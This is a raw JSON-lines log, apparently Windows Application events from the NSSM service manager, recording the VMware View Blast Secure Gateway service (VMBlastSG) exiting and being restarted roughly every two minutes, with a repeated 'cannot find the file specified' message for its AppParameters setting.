{"@timestamp":1646677206396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152956","152956","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157033}}
{"@timestamp":1646677206412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157034}}
{"@timestamp":1646677206412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157035}}
{"@timestamp":1646677206413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157036}}
{"@timestamp":1646677206414,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157037}}
{"@timestamp":1646677334902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157038}}
{"@timestamp":1646677334903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157039}}
{"@timestamp":1646677334904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154520","0"]}}},"module":"Application","provider":"nssm","sequence":157040}}
{"@timestamp":1646677334905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154520","154520","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157041}}
{"@timestamp":1646677334920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157042}}
{"@timestamp":1646677334921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157043}}
{"@timestamp":1646677334921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157044}}
{"@timestamp":1646677334922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157045}}
{"@timestamp":1646677463425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157046}}
{"@timestamp":1646677463426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157047}}
{"@timestamp":1646677463427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153904","0"]}}},"module":"Application","provider":"nssm","sequence":157048}}
{"@timestamp":1646677463427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153904","153904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157049}}
{"@timestamp":1646677463443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157050}}
{"@timestamp":1646677463444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157051}}
{"@timestamp":1646677463444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157052}}
{"@timestamp":1646677463445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157053}}
{"@timestamp":1646677591933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157054}}
{"@timestamp":1646677591934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157055}}
{"@timestamp":1646677591935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153456","0"]}}},"module":"Application","provider":"nssm","sequence":157056}}
{"@timestamp":1646677591936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153456","153456","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157057}}
{"@timestamp":1646677591951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157058}}
{"@timestamp":1646677591951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157059}}
{"@timestamp":1646677591952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157060}}
{"@timestamp":1646677591953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157061}}
{"@timestamp":1646677720447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157062}}
{"@timestamp":1646677720448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157063}}
{"@timestamp":1646677720449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153976","0"]}}},"module":"Application","provider":"nssm","sequence":157064}}
{"@timestamp":1646677720449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153976","153976","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157065}}
{"@timestamp":1646677720467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157066}}
{"@timestamp":1646677720468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157067}}
{"@timestamp":1646677720468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157068}}
{"@timestamp":1646677720470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157069}}
{"@timestamp":1646677848982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157070}}
{"@timestamp":1646677848985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157071}}
{"@timestamp":1646677848985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154340","0"]}}},"module":"Application","provider":"nssm","sequence":157072}}
{"@timestamp":1646677848986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154340","154340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157073}}
{"@timestamp":1646677849002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157074}}
{"@timestamp":1646677849003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157075}}
{"@timestamp":1646677849003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157076}}
{"@timestamp":1646677849004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157077}}
{"@timestamp":1646677977526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157078}}
{"@timestamp":1646677977527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157079}}
{"@timestamp":1646677977528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151792","0"]}}},"module":"Application","provider":"nssm","sequence":157080}}
{"@timestamp":1646677977528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151792","151792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157081}}
{"@timestamp":1646677977546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157082}}
{"@timestamp":1646677977546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157083}}
{"@timestamp":1646677977547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157084}}
{"@timestamp":1646677977548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157085}}
{"@timestamp":1646678106035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157086}}
{"@timestamp":1646678106038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157087}}
{"@timestamp":1646678106038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154592","0"]}}},"module":"Application","provider":"nssm","sequence":157088}}
{"@timestamp":1646678106039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154592","154592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157089}}
{"@timestamp":1646678106056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157090}}
{"@timestamp":1646678106057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157091}}
{"@timestamp":1646678106058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157092}}
{"@timestamp":1646678106059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157093}}
{"@timestamp":1646678234742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157094}}
{"@timestamp":1646678234743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157095}}
{"@timestamp":1646678234744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154312","0"]}}},"module":"Application","provider":"nssm","sequence":157096}}
{"@timestamp":1646678234744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154312","154312","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157097}}
{"@timestamp":1646678234760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157098}}
{"@timestamp":1646678234761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157099}}
{"@timestamp":1646678234761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157100}}
{"@timestamp":1646678234762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157101}}
{"@timestamp":1646678363788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157102}}
{"@timestamp":1646678363790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157103}}
{"@timestamp":1646678363791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150660","0"]}}},"module":"Application","provider":"nssm","sequence":157104}}
{"@timestamp":1646678363792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150660","150660","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157105}}
{"@timestamp":1646678363809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157106}}
{"@timestamp":1646678363810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157107}}
{"@timestamp":1646678363810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157108}}
{"@timestamp":1646678363811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157109}}
{"@timestamp":1646678492312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157110}}
{"@timestamp":1646678492313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157111}}
{"@timestamp":1646678492314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151848","0"]}}},"module":"Application","provider":"nssm","sequence":157112}}
{"@timestamp":1646678492315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151848","151848","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157113}}
{"@timestamp":1646678492330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157114}}
{"@timestamp":1646678492330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157115}}
{"@timestamp":1646678492331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157116}}
{"@timestamp":1646678492332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157117}}
{"@timestamp":1646678620920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157118}}
{"@timestamp":1646678620922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157119}}
{"@timestamp":1646678620922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154324","0"]}}},"module":"Application","provider":"nssm","sequence":157120}}
{"@timestamp":1646678620923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154324","154324","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157121}}
{"@timestamp":1646678620940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157122}}
{"@timestamp":1646678620941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157123}}
{"@timestamp":1646678620941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157124}}
{"@timestamp":1646678620942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157125}}
{"@timestamp":1646678749604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157126}}
{"@timestamp":1646678749605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157127}}
{"@timestamp":1646678749606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154528","0"]}}},"module":"Application","provider":"nssm","sequence":157128}}
{"@timestamp":1646678749607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154528","154528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157129}}
{"@timestamp":1646678749623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157130}}
{"@timestamp":1646678749624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157131}}
{"@timestamp":1646678749624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157132}}
{"@timestamp":1646678749625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157133}}
{"@timestamp":1646678878113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157134}}
{"@timestamp":1646678878114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157135}}
{"@timestamp":1646678878116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153320","0"]}}},"module":"Application","provider":"nssm","sequence":157136}}
{"@timestamp":1646678878116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153320","153320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157137}}
